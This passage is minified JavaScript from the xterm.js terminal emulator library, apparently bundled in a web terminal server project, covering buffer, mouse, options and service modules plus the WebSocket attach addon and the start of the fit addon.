i={instance:t,dispose:t.dispose,isDisposed:!1};this._addons.push(i),t.dispose=()=>this._wrappedAddonDispose(i),t.activate(e)}_wrappedAddonDispose(e){if(e.isDisposed)return;let t=-1;for(let i=0;i{Object.defineProperty(t,"__esModule",{value:!0}),t.BufferApiView=void 0;const s=i(3785),r=i(511);t.BufferApiView=class{constructor(e,t){this._buffer=e,this.type=t}init(e){return this._buffer=e,this}get cursorY(){return this._buffer.y}get cursorX(){return this._buffer.x}get viewportY(){return this._buffer.ydisp}get baseY(){return this._buffer.ybase}get length(){return this._buffer.lines.length}getLine(e){const t=this._buffer.lines.get(e);if(t)return new s.BufferLineApiView(t)}getNullCell(){return new r.CellData}}},3785:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.BufferLineApiView=void 0;const s=i(511);t.BufferLineApiView=class{constructor(e){this._line=e}get isWrapped(){return this._line.isWrapped}get length(){return this._line.length}getCell(e,t){if(!(e<0||e>=this._line.length))return t?(this._line.loadCell(e,t),t):this._line.loadCell(e,new s.CellData)}translateToString(e,t,i){return this._line.translateToString(e,t,i)}}},8285:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.BufferNamespaceApi=void 0;const s=i(8771),r=i(8460),n=i(844);class o extends n.Disposable{constructor(e){super(),this._core=e,this._onBufferChange=this.register(new r.EventEmitter),this.onBufferChange=this._onBufferChange.event,this._normal=new s.BufferApiView(this._core.buffers.normal,"normal"),this._alternate=new s.BufferApiView(this._core.buffers.alt,"alternate"),this._core.buffers.onBufferActivate((()=>this._onBufferChange.fire(this.active)))}get active(){if(this._core.buffers.active===this._core.buffers.normal)return this.normal;if(this._core.buffers.active===this._core.buffers.alt)return this.alternate;throw new Error("Active buffer is neither normal nor alternate")}get normal(){return this._normal.init(this._core.buffers.normal)}get alternate(){return this._alternate.init(this._core.buffers.alt)}}t.BufferNamespaceApi=o},7975:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.ParserApi=void 0,t.ParserApi=class{constructor(e){this._core=e}registerCsiHandler(e,t){return this._core.registerCsiHandler(e,(e=>t(e.toArray())))}addCsiHandler(e,t){return this.registerCsiHandler(e,t)}registerDcsHandler(e,t){return this._core.registerDcsHandler(e,((e,i)=>t(e,i.toArray())))}addDcsHandler(e,t){return this.registerDcsHandler(e,t)}registerEscHandler(e,t){return this._core.registerEscHandler(e,t)}addEscHandler(e,t){return this.registerEscHandler(e,t)}registerOscHandler(e,t){return this._core.registerOscHandler(e,t)}addOscHandler(e,t){return this.registerOscHandler(e,t)}}},7090:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.UnicodeApi=void 0,t.UnicodeApi=class{constructor(e){this._core=e}register(e){this._core.unicodeService.register(e)}get versions(){return this._core.unicodeService.versions}get activeVersion(){return this._core.unicodeService.activeVersion}set activeVersion(e){this._core.unicodeService.activeVersion=e}}},744:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.BufferService=t.MINIMUM_ROWS=t.MINIMUM_COLS=void 0;const n=i(8460),o=i(844),a=i(5295),h=i(2585);t.MINIMUM_COLS=2,t.MINIMUM_ROWS=1;let c=t.BufferService=class extends o.Disposable{get buffer(){return this.buffers.active}constructor(e){super(),this.isUserScrolling=!1,this._onResize=this.register(new n.EventEmitter),this.onResize=this._onResize.event,this._onScroll=this.register(new n.EventEmitter),this.onScroll=this._onScroll.event,this.cols=Math.max(e.rawOptions.cols||0,t.MINIMUM_COLS),this.rows=Math.max(e.rawOptions.rows||0,t.MINIMUM_ROWS),this.buffers=this.register(new a.BufferSet(e,this))}resize(e,t){this.cols=e,this.rows=t,this.buffers.resize(e,t),this._onResize.fire({cols:e,rows:t})}reset(){this.buffers.reset(),this.isUserScrolling=!1}scroll(e,t=!1){const i=this.buffer;let s;s=this._cachedBlankLine,s&&s.length===this.cols&&s.getFg(0)===e.fg&&s.getBg(0)===e.bg||(s=i.getBlankLine(e,t),this._cachedBlankLine=s),s.isWrapped=t;const r=i.ybase+i.scrollTop,n=i.ybase+i.scrollBottom;if(0===i.scrollTop){const e=i.lines.isFull;n===i.lines.length-1?e?i.lines.recycle().copyFrom(s):i.lines.push(s.clone()):i.lines.splice(n+1,0,s.clone()),e?this.isUserScrolling&&(i.ydisp=Math.max(i.ydisp-1,0)):(i.ybase++,this.isUserScrolling||i.ydisp++)}else{const e=n-r+1;i.lines.shiftElements(r+1,e-1,-1),i.lines.set(n,s.clone())}this.isUserScrolling||(i.ydisp=i.ybase),this._onScroll.fire(i.ydisp)}scrollLines(e,t,i){const s=this.buffer;if(e<0){if(0===s.ydisp)return;this.isUserScrolling=!0}else e+s.ydisp>=s.ybase&&(this.isUserScrolling=!1);const r=s.ydisp;s.ydisp=Math.max(Math.min(s.ydisp+e,s.ybase),0),r!==s.ydisp&&(t||this._onScroll.fire(s.ydisp))}};t.BufferService=c=s([r(0,h.IOptionsService)],c)},7994:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.CharsetService=void 0,t.CharsetService=class{constructor(){this.glevel=0,this._charsets=[]}reset(){this.charset=void 0,this._charsets=[],this.glevel=0}setgLevel(e){this.glevel=e,this.charset=this._charsets[e]}setgCharset(e,t){this._charsets[e]=t,this.glevel===e&&(this.charset=t)}}},1753:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.CoreMouseService=void 0;const n=i(2585),o=i(8460),a=i(844),h={NONE:{events:0,restrict:()=>!1},X10:{events:1,restrict:e=>4!==e.button&&1===e.action&&(e.ctrl=!1,e.alt=!1,e.shift=!1,!0)},VT200:{events:19,restrict:e=>32!==e.action},DRAG:{events:23,restrict:e=>32!==e.action||3!==e.button},ANY:{events:31,restrict:e=>!0}};function c(e,t){let i=(e.ctrl?16:0)|(e.shift?4:0)|(e.alt?8:0);return 4===e.button?(i|=64,i|=e.action):(i|=3&e.button,4&e.button&&(i|=64),8&e.button&&(i|=128),32===e.action?i|=32:0!==e.action||t||(i|=3)),i}const l=String.fromCharCode,d={DEFAULT:e=>{const t=[c(e,!1)+32,e.col+32,e.row+32];return t[0]>255||t[1]>255||t[2]>255?"":`${l(t[0])}${l(t[1])}${l(t[2])}`},SGR:e=>{const t=0===e.action&&4!==e.button?"m":"M";return`[<${c(e,!0)};${e.col};${e.row}${t}`},SGR_PIXELS:e=>{const t=0===e.action&&4!==e.button?"m":"M";return`[<${c(e,!0)};${e.x};${e.y}${t}`}};let _=t.CoreMouseService=class extends a.Disposable{constructor(e,t){super(),this._bufferService=e,this._coreService=t,this._protocols={},this._encodings={},this._activeProtocol="",this._activeEncoding="",this._lastEvent=null,this._onProtocolChange=this.register(new o.EventEmitter),this.onProtocolChange=this._onProtocolChange.event;for(const e of Object.keys(h))this.addProtocol(e,h[e]);for(const e of Object.keys(d))this.addEncoding(e,d[e]);this.reset()}addProtocol(e,t){this._protocols[e]=t}addEncoding(e,t){this._encodings[e]=t}get activeProtocol(){return this._activeProtocol}get areMouseEventsActive(){return 0!==this._protocols[this._activeProtocol].events}set activeProtocol(e){if(!this._protocols[e])throw new Error(`unknown protocol "${e}"`);this._activeProtocol=e,this._onProtocolChange.fire(this._protocols[e].events)}get activeEncoding(){return this._activeEncoding}set activeEncoding(e){if(!this._encodings[e])throw new Error(`unknown encoding "${e}"`);this._activeEncoding=e}reset(){this.activeProtocol="NONE",this.activeEncoding="DEFAULT",this._lastEvent=null}triggerMouseEvent(e){if(e.col<0||e.col>=this._bufferService.cols||e.row<0||e.row>=this._bufferService.rows)return!1;if(4===e.button&&32===e.action)return!1;if(3===e.button&&32!==e.action)return!1;if(4!==e.button&&(2===e.action||3===e.action))return!1;if(e.col++,e.row++,32===e.action&&this._lastEvent&&this._equalEvents(this._lastEvent,e,"SGR_PIXELS"===this._activeEncoding))return!1;if(!this._protocols[this._activeProtocol].restrict(e))return!1;const t=this._encodings[this._activeEncoding](e);return t&&("DEFAULT"===this._activeEncoding?this._coreService.triggerBinaryEvent(t):this._coreService.triggerDataEvent(t,!0)),this._lastEvent=e,!0}explainEvents(e){return{down:!!(1&e),up:!!(2&e),drag:!!(4&e),move:!!(8&e),wheel:!!(16&e)}}_equalEvents(e,t,i){if(i){if(e.x!==t.x)return!1;if(e.y!==t.y)return!1}else{if(e.col!==t.col)return!1;if(e.row!==t.row)return!1}return e.button===t.button&&e.action===t.action&&e.ctrl===t.ctrl&&e.alt===t.alt&&e.shift===t.shift}};t.CoreMouseService=_=s([r(0,n.IBufferService),r(1,n.ICoreService)],_)},6975:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.CoreService=void 0;const n=i(1439),o=i(8460),a=i(844),h=i(2585),c=Object.freeze({insertMode:!1}),l=Object.freeze({applicationCursorKeys:!1,applicationKeypad:!1,bracketedPasteMode:!1,origin:!1,reverseWraparound:!1,sendFocus:!1,wraparound:!0});let d=t.CoreService=class extends a.Disposable{constructor(e,t,i){super(),this._bufferService=e,this._logService=t,this._optionsService=i,this.isCursorInitialized=!1,this.isCursorHidden=!1,this._onData=this.register(new o.EventEmitter),this.onData=this._onData.event,this._onUserInput=this.register(new o.EventEmitter),this.onUserInput=this._onUserInput.event,this._onBinary=this.register(new o.EventEmitter),this.onBinary=this._onBinary.event,this._onRequestScrollToBottom=this.register(new o.EventEmitter),this.onRequestScrollToBottom=this._onRequestScrollToBottom.event,this.modes=(0,n.clone)(c),this.decPrivateModes=(0,n.clone)(l)}reset(){this.modes=(0,n.clone)(c),this.decPrivateModes=(0,n.clone)(l)}triggerDataEvent(e,t=!1){if(this._optionsService.rawOptions.disableStdin)return;const i=this._bufferService.buffer;t&&this._optionsService.rawOptions.scrollOnUserInput&&i.ybase!==i.ydisp&&this._onRequestScrollToBottom.fire(),t&&this._onUserInput.fire(),this._logService.debug(`sending data "${e}"`,(()=>e.split("").map((e=>e.charCodeAt(0))))),this._onData.fire(e)}triggerBinaryEvent(e){this._optionsService.rawOptions.disableStdin||(this._logService.debug(`sending binary "${e}"`,(()=>e.split("").map((e=>e.charCodeAt(0))))),this._onBinary.fire(e))}};t.CoreService=d=s([r(0,h.IBufferService),r(1,h.ILogService),r(2,h.IOptionsService)],d)},9074:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.DecorationService=void 0;const s=i(8055),r=i(8460),n=i(844),o=i(6106);let a=0,h=0;class c extends n.Disposable{get decorations(){return this._decorations.values()}constructor(){super(),this._decorations=new o.SortedList((e=>null==e?void 0:e.marker.line)),this._onDecorationRegistered=this.register(new r.EventEmitter),this.onDecorationRegistered=this._onDecorationRegistered.event,this._onDecorationRemoved=this.register(new r.EventEmitter),this.onDecorationRemoved=this._onDecorationRemoved.event,this.register((0,n.toDisposable)((()=>this.reset())))}registerDecoration(e){if(e.marker.isDisposed)return;const t=new l(e);if(t){const e=t.marker.onDispose((()=>t.dispose()));t.onDispose((()=>{t&&(this._decorations.delete(t)&&this._onDecorationRemoved.fire(t),e.dispose())})),this._decorations.insert(t),this._onDecorationRegistered.fire(t)}return t}reset(){for(const e of this._decorations.values())e.dispose();this._decorations.clear()}*getDecorationsAtCell(e,t,i){var s,r,n;let o=0,a=0;for(const h of this._decorations.getKeyIterator(t))o=null!==(s=h.options.x)&&void 0!==s?s:0,a=o+(null!==(r=h.options.width)&&void 0!==r?r:1),e>=o&&e{var r,n,o;a=null!==(r=t.options.x)&&void 0!==r?r:0,h=a+(null!==(n=t.options.width)&&void 0!==n?n:1),e>=a&&e{Object.defineProperty(t,"__esModule",{value:!0}),t.InstantiationService=t.ServiceCollection=void 0;const s=i(2585),r=i(8343);class n{constructor(...e){this._entries=new Map;for(const[t,i]of e)this.set(t,i)}set(e,t){const i=this._entries.get(e);return this._entries.set(e,t),i}forEach(e){for(const[t,i]of this._entries.entries())e(t,i)}has(e){return this._entries.has(e)}get(e){return this._entries.get(e)}}t.ServiceCollection=n,t.InstantiationService=class{constructor(){this._services=new n,this._services.set(s.IInstantiationService,this)}setService(e,t){this._services.set(e,t)}getService(e){return this._services.get(e)}createInstance(e,...t){const i=(0,r.getServiceDependencies)(e).sort(((e,t)=>e.index-t.index)),s=[];for(const t of i){const i=this._services.get(t.id);if(!i)throw new Error(`[createInstance] ${e.name} depends on UNKNOWN service ${t.id}.`);s.push(i)}const n=i.length>0?i[0].index:t.length;if(t.length!==n)throw new Error(`[createInstance] First service dependency of ${e.name} at position ${n+1} conflicts with ${t.length} static arguments`);return new e(...[...t,...s])}}},7866:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.traceCall=t.setTraceLogger=t.LogService=void 0;const n=i(844),o=i(2585),a={trace:o.LogLevelEnum.TRACE,debug:o.LogLevelEnum.DEBUG,info:o.LogLevelEnum.INFO,warn:o.LogLevelEnum.WARN,error:o.LogLevelEnum.ERROR,off:o.LogLevelEnum.OFF};let h,c=t.LogService=class extends n.Disposable{get logLevel(){return this._logLevel}constructor(e){super(),this._optionsService=e,this._logLevel=o.LogLevelEnum.OFF,this._updateLogLevel(),this.register(this._optionsService.onSpecificOptionChange("logLevel",(()=>this._updateLogLevel()))),h=this}_updateLogLevel(){this._logLevel=a[this._optionsService.rawOptions.logLevel]}_evalLazyOptionalParams(e){for(let t=0;tJSON.stringify(e))).join(", ")})`);const t=s.apply(this,e);return h.trace(`GlyphRenderer#${s.name} return`,t),t}}},7302:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.OptionsService=t.DEFAULT_OPTIONS=void 0;const s=i(8460),r=i(844),n=i(6114);t.DEFAULT_OPTIONS={cols:80,rows:24,cursorBlink:!1,cursorStyle:"block",cursorWidth:1,cursorInactiveStyle:"outline",customGlyphs:!0,drawBoldTextInBrightColors:!0,fastScrollModifier:"alt",fastScrollSensitivity:5,fontFamily:"courier-new, courier, monospace",fontSize:15,fontWeight:"normal",fontWeightBold:"bold",ignoreBracketedPasteMode:!1,lineHeight:1,letterSpacing:0,linkHandler:null,logLevel:"info",logger:null,scrollback:1e3,scrollOnUserInput:!0,scrollSensitivity:1,screenReaderMode:!1,smoothScrollDuration:0,macOptionIsMeta:!1,macOptionClickForcesSelection:!1,minimumContrastRatio:1,disableStdin:!1,allowProposedApi:!1,allowTransparency:!1,tabStopWidth:8,theme:{},rightClickSelectsWord:n.isMac,windowOptions:{},windowsMode:!1,windowsPty:{},wordSeparator:" ()[]{}',\"`",altClickMovesCursor:!0,convertEol:!1,termName:"xterm",cancelEvents:!1,overviewRulerWidth:0};const o=["normal","bold","100","200","300","400","500","600","700","800","900"];class a extends r.Disposable{constructor(e){super(),this._onOptionChange=this.register(new s.EventEmitter),this.onOptionChange=this._onOptionChange.event;const i=Object.assign({},t.DEFAULT_OPTIONS);for(const t in e)if(t in i)try{const s=e[t];i[t]=this._sanitizeAndValidateOption(t,s)}catch(e){console.error(e)}this.rawOptions=i,this.options=Object.assign({},i),this._setupOptions()}onSpecificOptionChange(e,t){return this.onOptionChange((i=>{i===e&&t(this.rawOptions[e])}))}onMultipleOptionChange(e,t){return this.onOptionChange((i=>{-1!==e.indexOf(i)&&t()}))}_setupOptions(){const e=e=>{if(!(e in t.DEFAULT_OPTIONS))throw new Error(`No option with key "${e}"`);return this.rawOptions[e]},i=(e,i)=>{if(!(e in t.DEFAULT_OPTIONS))throw new Error(`No option with key "${e}"`);i=this._sanitizeAndValidateOption(e,i),this.rawOptions[e]!==i&&(this.rawOptions[e]=i,this._onOptionChange.fire(e))};for(const t in this.rawOptions){const s={get:e.bind(this,t),set:i.bind(this,t)};Object.defineProperty(this.options,t,s)}}_sanitizeAndValidateOption(e,i){switch(e){case"cursorStyle":if(i||(i=t.DEFAULT_OPTIONS[e]),!function(e){return"block"===e||"underline"===e||"bar"===e}(i))throw new Error(`"${i}" is not a valid value for ${e}`);break;case"wordSeparator":i||(i=t.DEFAULT_OPTIONS[e]);break;case"fontWeight":case"fontWeightBold":if("number"==typeof i&&1<=i&&i<=1e3)break;i=o.includes(i)?i:t.DEFAULT_OPTIONS[e];break;case"cursorWidth":i=Math.floor(i);case"lineHeight":case"tabStopWidth":if(i<1)throw new Error(`${e} cannot be less than 1, value: ${i}`);break;case"minimumContrastRatio":i=Math.max(1,Math.min(21,Math.round(10*i)/10));break;case"scrollback":if((i=Math.min(i,4294967295))<0)throw new Error(`${e} cannot be less than 0, value: ${i}`);break;case"fastScrollSensitivity":case"scrollSensitivity":if(i<=0)throw new Error(`${e} cannot be less than or equal to 0, value: ${i}`);break;case"rows":case"cols":if(!i&&0!==i)throw new Error(`${e} must be numeric, value: ${i}`);break;case"windowsPty":i=null!=i?i:{}}return i}}t.OptionsService=a},2660:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.OscLinkService=void 0;const n=i(2585);let o=t.OscLinkService=class{constructor(e){this._bufferService=e,this._nextId=1,this._entriesWithId=new Map,this._dataByLinkId=new Map}registerLink(e){const t=this._bufferService.buffer;if(void 0===e.id){const i=t.addMarker(t.ybase+t.y),s={data:e,id:this._nextId++,lines:[i]};return i.onDispose((()=>this._removeMarkerFromLink(s,i))),this._dataByLinkId.set(s.id,s),s.id}const i=e,s=this._getEntryIdKey(i),r=this._entriesWithId.get(s);if(r)return this.addLineToLink(r.id,t.ybase+t.y),r.id;const n=t.addMarker(t.ybase+t.y),o={id:this._nextId++,key:this._getEntryIdKey(i),data:i,lines:[n]};return n.onDispose((()=>this._removeMarkerFromLink(o,n))),this._entriesWithId.set(o.key,o),this._dataByLinkId.set(o.id,o),o.id}addLineToLink(e,t){const i=this._dataByLinkId.get(e);if(i&&i.lines.every((e=>e.line!==t))){const e=this._bufferService.buffer.addMarker(t);i.lines.push(e),e.onDispose((()=>this._removeMarkerFromLink(i,e)))}}getLinkData(e){var t;return null===(t=this._dataByLinkId.get(e))||void 0===t?void 0:t.data}_getEntryIdKey(e){return`${e.id};;${e.uri}`}_removeMarkerFromLink(e,t){const i=e.lines.indexOf(t);-1!==i&&(e.lines.splice(i,1),0===e.lines.length&&(void 0!==e.data.id&&this._entriesWithId.delete(e.key),this._dataByLinkId.delete(e.id)))}};t.OscLinkService=o=s([r(0,n.IBufferService)],o)},8343:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.createDecorator=t.getServiceDependencies=t.serviceRegistry=void 0;const i="di$target",s="di$dependencies";t.serviceRegistry=new Map,t.getServiceDependencies=function(e){return e[s]||[]},t.createDecorator=function(e){if(t.serviceRegistry.has(e))return t.serviceRegistry.get(e);const r=function(e,t,n){if(3!==arguments.length)throw new Error("@IServiceName-decorator can only be used to decorate a parameter");!function(e,t,r){t[i]===t?t[s].push({id:e,index:r}):(t[s]=[{id:e,index:r}],t[i]=t)}(r,e,n)};return r.toString=()=>e,t.serviceRegistry.set(e,r),r}},2585:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.IDecorationService=t.IUnicodeService=t.IOscLinkService=t.IOptionsService=t.ILogService=t.LogLevelEnum=t.IInstantiationService=t.ICharsetService=t.ICoreService=t.ICoreMouseService=t.IBufferService=void 0;const s=i(8343);var r;t.IBufferService=(0,s.createDecorator)("BufferService"),t.ICoreMouseService=(0,s.createDecorator)("CoreMouseService"),t.ICoreService=(0,s.createDecorator)("CoreService"),t.ICharsetService=(0,s.createDecorator)("CharsetService"),t.IInstantiationService=(0,s.createDecorator)("InstantiationService"),function(e){e[e.TRACE=0]="TRACE",e[e.DEBUG=1]="DEBUG",e[e.INFO=2]="INFO",e[e.WARN=3]="WARN",e[e.ERROR=4]="ERROR",e[e.OFF=5]="OFF"}(r||(t.LogLevelEnum=r={})),t.ILogService=(0,s.createDecorator)("LogService"),t.IOptionsService=(0,s.createDecorator)("OptionsService"),t.IOscLinkService=(0,s.createDecorator)("OscLinkService"),t.IUnicodeService=(0,s.createDecorator)("UnicodeService"),t.IDecorationService=(0,s.createDecorator)("DecorationService")},1480:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.UnicodeService=void 0;const s=i(8460),r=i(225);t.UnicodeService=class{constructor(){this._providers=Object.create(null),this._active="",this._onChange=new s.EventEmitter,this.onChange=this._onChange.event;const e=new r.UnicodeV6;this.register(e),this._active=e.version,this._activeProvider=e}dispose(){this._onChange.dispose()}get versions(){return Object.keys(this._providers)}get activeVersion(){return this._active}set activeVersion(e){if(!this._providers[e])throw new Error(`unknown Unicode version "${e}"`);this._active=e,this._activeProvider=this._providers[e],this._onChange.fire(e)}register(e){this._providers[e.version]=e}wcwidth(e){return this._activeProvider.wcwidth(e)}getStringCellWidth(e){let t=0;const i=e.length;for(let s=0;s=i)return t+this.wcwidth(r);const n=e.charCodeAt(s);56320<=n&&n<=57343?r=1024*(r-55296)+n-56320+65536:t+=this.wcwidth(n)}t+=this.wcwidth(r)}return t}}}},t={};function i(s){var r=t[s];if(void 0!==r)return r.exports;var n=t[s]={exports:{}};return e[s].call(n.exports,n,n.exports,i),n.exports}var s={};return(()=>{var e=s;Object.defineProperty(e,"__esModule",{value:!0}),e.Terminal=void 0;const t=i(9042),r=i(3236),n=i(844),o=i(5741),a=i(8285),h=i(7975),c=i(7090),l=["cols","rows"];class d extends n.Disposable{constructor(e){super(),this._core=this.register(new r.Terminal(e)),this._addonManager=this.register(new o.AddonManager),this._publicOptions=Object.assign({},this._core.options);const t=e=>this._core.options[e],i=(e,t)=>{this._checkReadonlyOptions(e),this._core.options[e]=t};for(const e in this._core.options){const s={get:t.bind(this,e),set:i.bind(this,e)};Object.defineProperty(this._publicOptions,e,s)}}_checkReadonlyOptions(e){if(l.includes(e))throw new Error(`Option "${e}" can only be set in the constructor`)}_checkProposedApi(){if(!this._core.optionsService.rawOptions.allowProposedApi)throw new Error("You must set the allowProposedApi option to true to use proposed API")}get onBell(){return this._core.onBell}get onBinary(){return this._core.onBinary}get onCursorMove(){return this._core.onCursorMove}get onData(){return this._core.onData}get onKey(){return this._core.onKey}get onLineFeed(){return this._core.onLineFeed}get onRender(){return this._core.onRender}get onResize(){return this._core.onResize}get onScroll(){return this._core.onScroll}get onSelectionChange(){return this._core.onSelectionChange}get onTitleChange(){return this._core.onTitleChange}get onWriteParsed(){return this._core.onWriteParsed}get element(){return this._core.element}get parser(){return this._parser||(this._parser=new h.ParserApi(this._core)),this._parser}get unicode(){return this._checkProposedApi(),new c.UnicodeApi(this._core)}get textarea(){return this._core.textarea}get rows(){return this._core.rows}get cols(){return this._core.cols}get buffer(){return this._buffer||(this._buffer=this.register(new a.BufferNamespaceApi(this._core))),this._buffer}get markers(){return this._checkProposedApi(),this._core.markers}get modes(){const e=this._core.coreService.decPrivateModes;let t="none";switch(this._core.coreMouseService.activeProtocol){case"X10":t="x10";break;case"VT200":t="vt200";break;case"DRAG":t="drag";break;case"ANY":t="any"}return{applicationCursorKeysMode:e.applicationCursorKeys,applicationKeypadMode:e.applicationKeypad,bracketedPasteMode:e.bracketedPasteMode,insertMode:this._core.coreService.modes.insertMode,mouseTrackingMode:t,originMode:e.origin,reverseWraparoundMode:e.reverseWraparound,sendFocusMode:e.sendFocus,wraparoundMode:e.wraparound}}get options(){return this._publicOptions}set options(e){for(const t in e)this._publicOptions[t]=e[t]}blur(){this._core.blur()}focus(){this._core.focus()}resize(e,t){this._verifyIntegers(e,t),this._core.resize(e,t)}open(e){this._core.open(e)}attachCustomKeyEventHandler(e){this._core.attachCustomKeyEventHandler(e)}registerLinkProvider(e){return this._core.registerLinkProvider(e)}registerCharacterJoiner(e){return this._checkProposedApi(),this._core.registerCharacterJoiner(e)}deregisterCharacterJoiner(e){this._checkProposedApi(),this._core.deregisterCharacterJoiner(e)}registerMarker(e=0){return this._verifyIntegers(e),this._core.registerMarker(e)}registerDecoration(e){var t,i,s;return this._checkProposedApi(),this._verifyPositiveIntegers(null!==(t=e.x)&&void 0!==t?t:0,null!==(i=e.width)&&void 0!==i?i:0,null!==(s=e.height)&&void 0!==s?s:0),this._core.registerDecoration(e)}hasSelection(){return this._core.hasSelection()}select(e,t,i){this._verifyIntegers(e,t,i),this._core.select(e,t,i)}getSelection(){return this._core.getSelection()}getSelectionPosition(){return this._core.getSelectionPosition()}clearSelection(){this._core.clearSelection()}selectAll(){this._core.selectAll()}selectLines(e,t){this._verifyIntegers(e,t),this._core.selectLines(e,t)}dispose(){super.dispose()}scrollLines(e){this._verifyIntegers(e),this._core.scrollLines(e)}scrollPages(e){this._verifyIntegers(e),this._core.scrollPages(e)}scrollToTop(){this._core.scrollToTop()}scrollToBottom(){this._core.scrollToBottom()}scrollToLine(e){this._verifyIntegers(e),this._core.scrollToLine(e)}clear(){this._core.clear()}write(e,t){this._core.write(e,t)}writeln(e,t){this._core.write(e),this._core.write("\r\n",t)}paste(e){this._core.paste(e)}refresh(e,t){this._verifyIntegers(e,t),this._core.refresh(e,t)}reset(){this._core.reset()}clearTextureAtlas(){this._core.clearTextureAtlas()}loadAddon(e){this._addonManager.loadAddon(this,e)}static get strings(){return t}_verifyIntegers(...e){for(const t of e)if(t===1/0||isNaN(t)||t%1!=0)throw new Error("This API only accepts integers")}_verifyPositiveIntegers(...e){for(const t of e)if(t&&(t===1/0||isNaN(t)||t%1!=0||t<0))throw new Error("This API only accepts positive integers")}}e.Terminal=d})(),s})())); //# sourceMappingURL=xterm.js.map ================================================ FILE: server/static/js/xterm-addon-attach-0.9.0.js ================================================ !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.AttachAddon=t():e.AttachAddon=t()}(self,(()=>(()=>{"use strict";var e={};return(()=>{var t=e;function s(e,t,s){return e.addEventListener(t,s),{dispose:()=>{s&&e.removeEventListener(t,s)}}}Object.defineProperty(t,"__esModule",{value:!0}),t.AttachAddon=void 0,t.AttachAddon=class{constructor(e,t){this._disposables=[],this._socket=e,this._socket.binaryType="arraybuffer",this._bidirectional=!(t&&!1===t.bidirectional)}activate(e){this._disposables.push(s(this._socket,"message",(t=>{const s=t.data;e.write("string"==typeof s?s:new Uint8Array(s))}))),this._bidirectional&&(this._disposables.push(e.onData((e=>this._sendData(e)))),this._disposables.push(e.onBinary((e=>this._sendBinary(e))))),this._disposables.push(s(this._socket,"close",(()=>this.dispose()))),this._disposables.push(s(this._socket,"error",(()=>this.dispose())))}dispose(){for(const e of this._disposables)e.dispose()}_sendData(e){this._checkOpenSocket()&&this._socket.send(e)}_sendBinary(e){if(!this._checkOpenSocket())return;const t=new Uint8Array(e.length);for(let s=0;s(()=>{"use strict";var e={};return(()=>{var t=e;Object.defineProperty(t,"__esModule",{value:!0}),t.FitAddon=void 0,t.FitAddon=class{activate(e){this._terminal=e}dispose(){}fit(){const e=this.proposeDimensions();if(!e||!this._terminal||isNaN(e.cols)||isNaN(e.rows))return;const t=this._terminal._core;this._terminal.rows===e.rows&&this._terminal.cols===e.cols||(t._renderService.clear(),this._terminal.resize(e.cols,e.rows))}proposeDimensions(){if(!this._terminal)return;if(!this._terminal.element||!this._terminal.element.parentElement)return;const e=this._terminal._core,t=e._renderService.dimensions;if(0===t.css.cell.width||0===t.css.cell.height)return;const 